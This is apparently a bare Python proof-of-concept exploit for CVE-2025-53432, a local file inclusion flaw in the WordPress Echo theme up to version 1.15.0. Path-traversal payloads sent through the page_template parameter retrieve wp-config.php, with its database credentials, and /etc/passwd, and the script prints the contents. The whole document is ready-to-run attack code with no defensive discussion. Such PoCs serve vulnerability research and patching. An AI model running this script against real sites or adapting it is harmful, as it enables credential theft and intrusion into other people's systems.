CVE-2025-53432

import requests # CVE-2025-53432 PoC - Local File Inclusion in Echo Theme # Target: WordPress site with Echo theme <= 1.15.0 target = "http://target-site.com" # Read wp-config.php payload = "../../../../wp-config.php" url = f"{target}/wp-content/themes/echo/includes/page-builder.php?page_template={payload}" try: response = requests.get(url, timeout=10) if "DB_NAME" in response.text or "<?php" in response.text: print("[+] Successfully read wp-config.php") print("Content preview:", response.text[:500]) else: print("[-] Failed to retrieve file or file not found") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") # Read /etc/passwd payload = "../../../../etc/passwd" url = f"{target}/wp-content/themes/echo/includes/page-builder.php?page_template={payload}" try: response = requests.get(url, timeout=10) if "root:" in response.text or ":/bin/" in response.text: print("[+] Successfully read /etc/passwd") print("Content:", response.text) except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}")

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